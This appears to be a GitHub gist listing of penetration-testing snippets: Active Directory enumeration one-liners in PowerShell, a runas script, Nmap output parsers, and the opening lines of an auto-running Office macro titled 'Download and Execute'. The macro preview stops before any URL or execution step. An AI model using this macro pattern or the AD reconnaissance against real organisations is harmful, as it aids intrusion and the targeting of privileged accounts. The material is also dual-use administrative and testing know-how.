Skip to content

Instantly share code, notes, and snippets.

@nopslider
nopslider / gist:b23fba2b4f4a310e2cff
Last active September 15, 2016 19:24
Find enabled and non-locked stale AD accounts (accounts which haven't logged in for over X months. Also lists accounts which have never logged in)
Get-ADUser -Filter * -Properties * `
| where {($_.enabled -eq $true) -and ($_.lockedout -eq $false)} `
| where {$_.lastlogondate -lt (Get-Date).AddMonths(-3)} `
| select SamAccountName, lastlogondate `
| sort lastlogondate
@nopslider
nopslider / gist:0b32b15d59cd5a9b56a2
Last active August 29, 2015 14:11
Get all AD user attributes for offline analysis in Excel
Get-ADUser -Filter * -properties * | Export-csv domain.csv
@nopslider
nopslider / gist:3a01e39d191047edfcc8
Created December 10, 2014 10:12
List all enabed accounts in a Domain
Get-ADUser -Filter {enabled -eq $true} | select SamAccountName
@nopslider
nopslider / gist:7a6136ab78dbda2a5819
Last active August 30, 2023 15:06
Find enabled users in a specified AD group with PowerShell
Get-ADGroup -Filter {(name -like "*admins*") -or (name -like "*administrator*")} `
| Get-ADGroupMember -Recursive | Where { $_.objectClass -eq "user" } `
| Get-ADUser -properties * | where {$_.enabled -eq $true} `
| where {$_.lockedout -eq $false} | select SamAccountName -unique
@nopslider
nopslider / Download and Execute Office Macro
Last active August 5, 2024 14:58
A short VBA macro to download and execute a file (patching the first two bytes of the file)
Sub AutoOpen()
Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2
Dim xHttp
Dim bStrm
Dim filename
Set xHttp = CreateObject("Microsoft.XMLHTTP")
@nopslider
nopslider / runas.ps1
Last active December 14, 2020 13:00
A small powershell script which implements runas functionality
param($username, $password, $command, $arguments = " ")
# Don't use c:\windows\temp below, as standard users don't have access to it
$errfile = "c:\users\public\runas_error.txt"
$outfile = "c:\users\public\runas_out.txt"
$envusername = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
write-host "Supplied Username = " $username
write-host "Env Username = " $envusername
write-host "Password = " $password
@nopslider
nopslider / parsnips.sh
Created July 12, 2013 13:07
Real basic, *dumb* IP address parser
#!/bin/bash
grep -E -o '([0-9]{1,3}\.){3}[0-9]{1,3}'
@nopslider
nopslider / gnmap.pl
Created July 12, 2013 13:05
Nmap gnmap parser for command line foo
#!/usr/bin/perl -nl
use strict;
next if ( $_!~m/Ports\:/i );
chomp();
my @toks=split( /Ports\:\s*/i, $_ );
my $host=$toks[0];
$host=~s/\s*Host\s*\:\s*(.*?)\s*\(.*?\).*/$1/ig;
@nopslider
nopslider / deflate.pl
Created July 12, 2013 13:04
Perl snippet to deflate via STDIN/STDOUT
#!/usr/bin/perl
use strict;
use warnings;
use IO::Compress::Deflate qw(deflate $DeflateError) ;
deflate "-" => "-" or die "deflate failed: $DeflateError\n";